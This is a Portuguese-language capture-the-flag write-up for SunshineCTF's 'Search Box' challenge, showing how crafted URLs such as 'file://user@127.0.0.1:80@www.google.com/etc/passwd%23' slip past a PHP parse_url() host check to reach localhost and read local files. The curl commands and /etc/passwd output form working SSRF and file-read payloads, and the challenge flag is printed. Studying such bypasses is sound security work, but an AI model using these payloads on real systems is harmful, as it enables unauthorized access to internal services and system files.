SunshineCtf - Search Box Writeup
"This search engine doesn't look very secure.
Or well coded.
Or competent in any way shape or form.
This should be easy.
Note: flag is in /etc/flag.txt
http://search-box.web1.sunshinectf.org"
Dentro da página tinhas um pequeno input para enviarmos uma request para um site que seria algum "qualquer".


Porém, com alguns pequenos testes acabei percebendo que ele estava apenas aceitando o
host
como sendo 'www.google.com'.
Lógicamente uma das primeiras coisas que me veio na cabeça seria tentar acessar algum arquivo via file://
, porem, sem sucesso.

no momento que eu comecei a pensar que o
file://
não teria serventia, pensei em fazer o seguinte, juntar o wrapper mais o domínio que havia funcionado:

"get source failed"
, oops, então quer dizer que o wrapper na verdade funciona, o que não está dando certo é a procura pelo www.google.com nos diretorios, ou seja, aqui temos um filtro de host, e para confirmar isso:

Está sendo usado o
parse_url()
do php, se fizermos alguns pequenos testes, podemos tirar nossas conclusões:
php > $url = "file://www.google.com";
php > var_dump(parse_url($url));
array(2) {
["scheme"]=>
string(4) "file"
["host"]=>
string(14) "www.google.com"
}
Levando em consideração que o nosso host precisa ser sempre www.google.com, precisamos achar uma forma de conseguir passar uma chamada para algum arquivo interno, ou primeiro, tentar conseguir acessar o localhost.
php > $url = "http://127.0.0.1@www.google.com";
php > var_dump(parse_url($url));
array(3) {
["scheme"]=>
string(4) "http"
["host"]=>
string(14) "www.google.com"
["user"]=>
string(9) "127.0.0.1"
}
Neste output acima, estamos passando o 127.0.0.1 como user, porem, o curl nao vai encontrar um user de autenticação igual a
127.0.0.1
, a url será interpretada corretamente:

Podemos tirar nossas conclusões que, se ele retornou "Source Code", ou estamos em
127.0.0.1
e o nosso bypass funcionou, ou estamos em www.google.com
.
Para saber isso, podemos tentar pegar algum arquivo interno, como o index.php que existe no webroot.

Eee... não funcionou.
Fazendo algumas rápidas pesquisas e alguns testes, identifiquei um outro bypass, onde passamos um
user@127.0.0.1
como usuário mais uma porta de destino,www.google.com continua sendo o host, porem a interpretação do curl acaba desvalorizando isso. Então, o parse_url()
praticamente não tem uma serventia de segurança neste código:
php > $url = "http://user@127.0.0.1:80@www.google.com/index.php";
php > var_dump(parse_url($url));
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(14) "www.google.com"
["user"]=>
string(14) "user@127.0.0.1"
["pass"]=>
string(2) "80"
["path"]=>
string(10) "/index.php"
}
Fiz também um teste local, com um código em /var/www/html/x.php
$ curl -v "http://user@127.0.0.1:80@www.google.com/x.php"
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
* Server auth using Basic with user 'user'
> GET /x.php HTTP/1.1
> Host: 127.0.0.1
> Authorization: Basic dXNlcjo=
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sat, 07 Apr 2018 00:47:05 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Content-Length: 11
< Content-Type: text/html; charset=UTF-8
<
TEST SSRF
* Connection #0 to host 127.0.0.1 left intact
então fui para a aplicação:


Porém a challenge nos dizia que era necessário pegar a flag em
/etc/flag.txt
, mas não havia como eu usar o file://
pois nenhum arquivo estava sendo lido, me pareceu estranho isso.

notei que ao final de cada arquivo passado, estava sendo concatenada à request uma
/
, resolvi testar isso direto pelo curl e comparar os resultados:
$ curl -v "file://user@127.0.0.1:80@www.google.com/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
VS:
$ curl -v "file://user@127.0.0.1:80@www.google.com/etc/passwd/"
* Couldn't open file /etc/passwd/
* Closing connection -1
curl: (37) Couldn't open file /etc/passwd/
Pensei em colocar uma "#" para travar isso, o curl aceitou:
$ curl -v "file://user@127.0.0.1:80@www.google.com/etc/passwd#/"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Mas a aplicação(usando o burp), não aceitou:

Então fiz o simples, o encode de
#
para ser igual a %23
, e funcionou!


Flag: sun{R3quE5t_tyP3S_m4tT3r}
final PoC: file://user@evil.com:80@www.google.com//var/www/html/index.php%23